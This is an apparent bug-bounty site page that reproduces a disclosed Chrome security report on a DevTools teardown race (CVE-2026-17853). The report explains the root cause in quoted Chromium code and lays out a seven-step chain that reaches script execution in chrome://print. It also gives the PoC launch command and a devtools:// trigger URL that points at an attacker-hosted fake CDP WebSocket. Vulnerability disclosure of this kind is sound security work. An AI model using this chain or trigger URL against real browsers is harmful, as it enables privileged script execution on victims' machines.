Skip to content
XSS Advisory Advanced CVE-2026-17853

Inappropriate implementation in DevTools (CVE-2026-17853)

A lifecycle race in DevToolsUIBindings leaves the origin-keyed injected-script registrations and the frontend observer active while the DevTools page is being torn down, so a subframe committed by the new top-level page can still receive a stale DevTools-registered script. Chained with an existing DevTools XSS, this lets an attacker run JavaScript inside frameable privileged WebUIs such as chrome://print.

Orange Tsai Follow

Originally disclosed on Chrome VRP

  • Fix shipped in 57 days

Report description

DevTools Observer Teardown Race Allows Stale Extension-Script Injection into Privileged WebUI Frames


Bug location

Where do you want to report your vulnerability?

Chrome VRP – Report security issues affecting the Chrome browser. See program rules

Which URL (or repository) have you found the vulnerability in?

https://github.com/chromium/chromium


The problem

Please describe the technical details of the vulnerability

VULNERABILITY DETAILS

1. Entry point: arbitrary JavaScript in devtools://devtools

This report starts from the Issue-517394007 result: the attacker already has arbitrary JavaScript execution inside devtools://devtools and can access DevTools embedder surfaces such as InspectorFrontendHost / DevToolsHost.

From that position, Issue-517394007 already provides two important capabilities. First, registerExtensionsAPI / setInjectedScriptForOrigin can install main-world scripts into frameable http / https pages, resulting in UXSS over web origins that the DevTools frontend can embed. Second, the DevTools file-read primitive can be used to execute script in a file:// context and steal arbitrary local file contents.

The missing step is crossing into Chrome-owned privileged WebUIs. A DevTools page should not be able to simply navigate or frame chrome://print and execute script there.

2. Root cause: FrontendWebContentsObserver remains armed during DevTools teardown

The root cause is a lifecycle race in DevToolsUIBindings: the origin-keyed script registration and the observer that consumes it are not synchronously disabled when the primary DevTools frame starts committing a non-DevTools URL.

The observer forwards every navigation commit point in the DevTools WebContents to DevToolsUIBindings:

C++
void DevToolsUIBindings::FrontendWebContentsObserver::ReadyToCommitNavigation(
    content::NavigationHandle* navigation_handle) {
  devtools_bindings_->ReadyToCommitNavigation(navigation_handle);
}

The DevTools frontend can register an injected script for an arbitrary origin:

C++
void DevToolsUIBindings::RegisterExtensionsAPI(const std::string& origin,
                                               const std::string& script) {
  extensions_api_[origin + "/"] = script;
}

When the primary frame commits a non-DevTools URL, the primary-frame branch only resets frontend_host_ and returns:

C++
if (navigation_handle->IsInPrimaryMainFrame()) {
  if (!IsValidFrontendURL(navigation_handle->GetURL())) {
    frontend_host_.reset();
    return;
  }
  // ...
  return;
}

However, it does not clear extensions_api_, and it does not immediately detach or disable FrontendWebContentsObserver. Until the old DevToolsUI / DevToolsUIBindings object is destroyed, the subframe branch can still run:

C++
content::RenderFrameHost* frame = navigation_handle->GetRenderFrameHost();
std::string origin =
    navigation_handle->GetURL().DeprecatedGetOriginAsURL().spec();
auto it = extensions_api_.find(origin);
if (it == extensions_api_.end()) {
  return;
}
std::string script = base::StringPrintf(
    "%s(\"%s\")", it->second.c_str(),
    base::Uuid::GenerateRandomV4().AsLowercaseString().c_str());
content::DevToolsFrontendHost::SetupExtensionsAPI(frame, script);

There is no revalidation here that the primary frame is still the current valid DevTools frontend. Therefore, if a new top-level page creates a matching subframe before the old DevTools bindings finish teardown, that subframe can receive the stale DevTools-registered script.

The security boundary violation occurs in this teardown window: a subframe commit that races before the old DevToolsUIBindings is destroyed can still be treated as a DevTools-controlled subframe and receive the stale registered script. The exploit widens that window and creates the target WebUI subframe early enough for the stale observer to process it.

3. Exploit: crossing into frameable privileged WebUIs

The attached PoC uses the built-in PDF Viewer extension only as the exploitation route. It is not the root cause. The reason it is useful is that the DevTools frontend cannot directly create a chrome:// iframe. Instead, the PoC registers an injected script for the PDF Viewer extension origin, then uses that extension context to call chrome.tabs APIs and create the Chrome-owned embedding context needed to frame the target WebUI.

The high-level chain is:

  1. Issue-517394007 obtains JavaScript execution in devtools://devtools.
  2. The payload registers a stale injected script for the target privileged WebUI origin, such as chrome://print.
  3. The payload also registers an injected script for the built-in PDF Viewer extension origin.
  4. The DevTools frontend frames the PDF Viewer extension, causing the registered PDF extension script to run.
  5. From the PDF extension context, the payload uses chrome.tabs.update() to navigate the original DevTools tab to a chrome://resources document.
  6. During the DevTools teardown window, the PDF extension script uses chrome.tabs.executeScript() to run code in chrome://resources and create an iframe to another frameable Chrome-owned WebUI.
  7. The still-live DevTools observer sees the subframe commit, finds the stale registration in extensions_api_, and calls SetupExtensionsAPI() for the WebUI frame.

For the attached PoC, the framed WebUI is:

HTML
<iframe src="chrome://print"></iframe>

The same pattern applies to other privileged WebUIs that are frameable and do not deny framing via X-Frame-Options or frame-ancestors.

VERSION

Chrome Version: 149.0.7827.54 (Stable) Operating System: Windows 11

REPRODUCTION CASE

PoC is attached as poc-devtools-print-alert-poc.py. It runs a single listener/port: the same port serves the fake CDP WebSocket and a tiny transport page used by the DevTools XSS bootstrap.

  1. On the attacker host, start the PoC:

    python poc-devtools-print-alert-poc.py --ws-host <attacker_public_ip>
    

    By default, it listens on:

    0.0.0.0:9243  fake CDP WebSocket and bootstrap transport
    

    The script prints a trigger URL like:

    devtools://devtools/remote/serve_file/@4208825df40e9a2fe8cb1e91357062b86f8d2aea/inspector.html?ws=<attacker_public_ip>:9243&panel=elements
    
  2. On the victim host, open the printed devtools:// URL in Chrome 149.

  3. Expected result: the DevTools tab is navigated to a chrome://resources document, embeds a chrome://print/ iframe, and JavaScript executes inside the print frame.

CREDIT INFORMATION

Orange Tsai (@orange_8361) of DEVCORE Research Team

Impact analysis

SUMMARY

DevToolsUIBindings lets a DevTools frontend register origin-keyed injected scripts in extensions_api_. Those registrations are later consumed by DevToolsUIBindings::FrontendWebContentsObserver when a subframe commits a matching origin.

When the primary frame starts navigating away from devtools://devtools, DevToolsUIBindings::ReadyToCommitNavigation() resets frontend_host_, but it does not synchronously clear extensions_api_ or disarm the observer's subframe-injection path. During the old DevTools WebUI teardown window, a subframe created by the new top-level page can still consume the stale registration and receive SetupExtensionsAPI().

This lets a devtools://devtools XSS escape the original DevTools-only context. Without this lifecycle bug, the DevTools injected-script primitive is limited to frameable http/https content that DevTools can normally embed. With the race, the stale DevTools registration can be consumed after the WebContents starts becoming a Chrome-owned page, leading to JavaScript execution in frameable privileged WebUIs. The attached PoC uses chrome://print as the demo target, but the target class is any frameable privileged WebUI without X-Frame-Options / frame-ancestors protection.

NOTE

This report is a follow-up chain for Issue-517394007. Issue-517394007 ends with arbitrary JavaScript execution inside the DevTools frontend and access to DevTools embedder surfaces such as InspectorFrontendHost / DevToolsHost.

The purpose of this report is to show the next impact expansion: the DevTools primitive can be chained into arbitrary JavaScript execution in frameable privileged WebUIs. The attached PoC uses chrome://print as a concrete demo target, but the security impact is crossing from DevTools-owned execution into Chrome-owned WebUI execution.


The cause

What version of Chrome have you found the security issue in?

149.0.7827.54 (Stable)

Is the security issue related to a crash?

No, it is not related to a crash.

Choose the type of vulnerability

Cross-site scripting (XSS)

How would you like to be publicly acknowledged for your report?

Orange Tsai (@orange_8361) of DEVCORE Research Team

The original report as published on the Chromium issue tracker, by Orange Tsai (@orange_8361) of DEVCORE Research Team. Images and videos are our own copies; raw HTML is shown as text. View it on Chromium issue tracker.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the primary-frame navigation handler resets frontend_host_ but does not synchronously clear extensions_api_ or disarm FrontendWebContentsObserver, so the subframe injection path stays live during teardown.

Impact

An attacker who already has JavaScript execution in devtools://devtools could escalate to JavaScript execution in frameable privileged WebUIs that lack X-Frame-Options or frame-ancestors protection, such as chrome://print.

What the attacker needed

Existing DevTools XSS (Issue-517394007); victim opens an attacker devtools:// URL; target WebUI is frameable; attacker-hosted listener reachable

The fix

The teardown path should synchronously clear extensions_api_ and disarm the observer's subframe injection when the primary frame commits a non-DevTools URL, and revalidate that the primary frame is still the current DevTools frontend before injecting.

How it was found

  1. Start the PoC listener on the attacker host, which serves a fake CDP WebSocket and a bootstrap transport page.
  2. Open the printed devtools:// URL in Chrome 149 on the victim host.
  3. The payload registers a stale injected script for the target privileged WebUI origin and for the PDF Viewer extension origin.
  4. The DevTools frontend frames the PDF Viewer extension, so the registered PDF extension script runs.
  5. From the PDF extension context, the payload navigates the DevTools tab to a chrome://resources document and injects an iframe to another frameable WebUI.
  6. The still-live DevTools observer sees the subframe commit and calls SetupExtensionsAPI for the WebUI frame, so script runs inside the print frame.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

Chrome's developer tools page can ask the browser to run a script on a chosen website origin. When the developer tools page navigates away, the browser should forget those requests straight away, but it keeps them for a short moment. If another page loads a matching frame in that moment, the leftover script runs in a privileged Chrome page, which should never happen.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by Orange Tsai

View all

3 more disclosed reports, best first.

More from Google Chrome

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.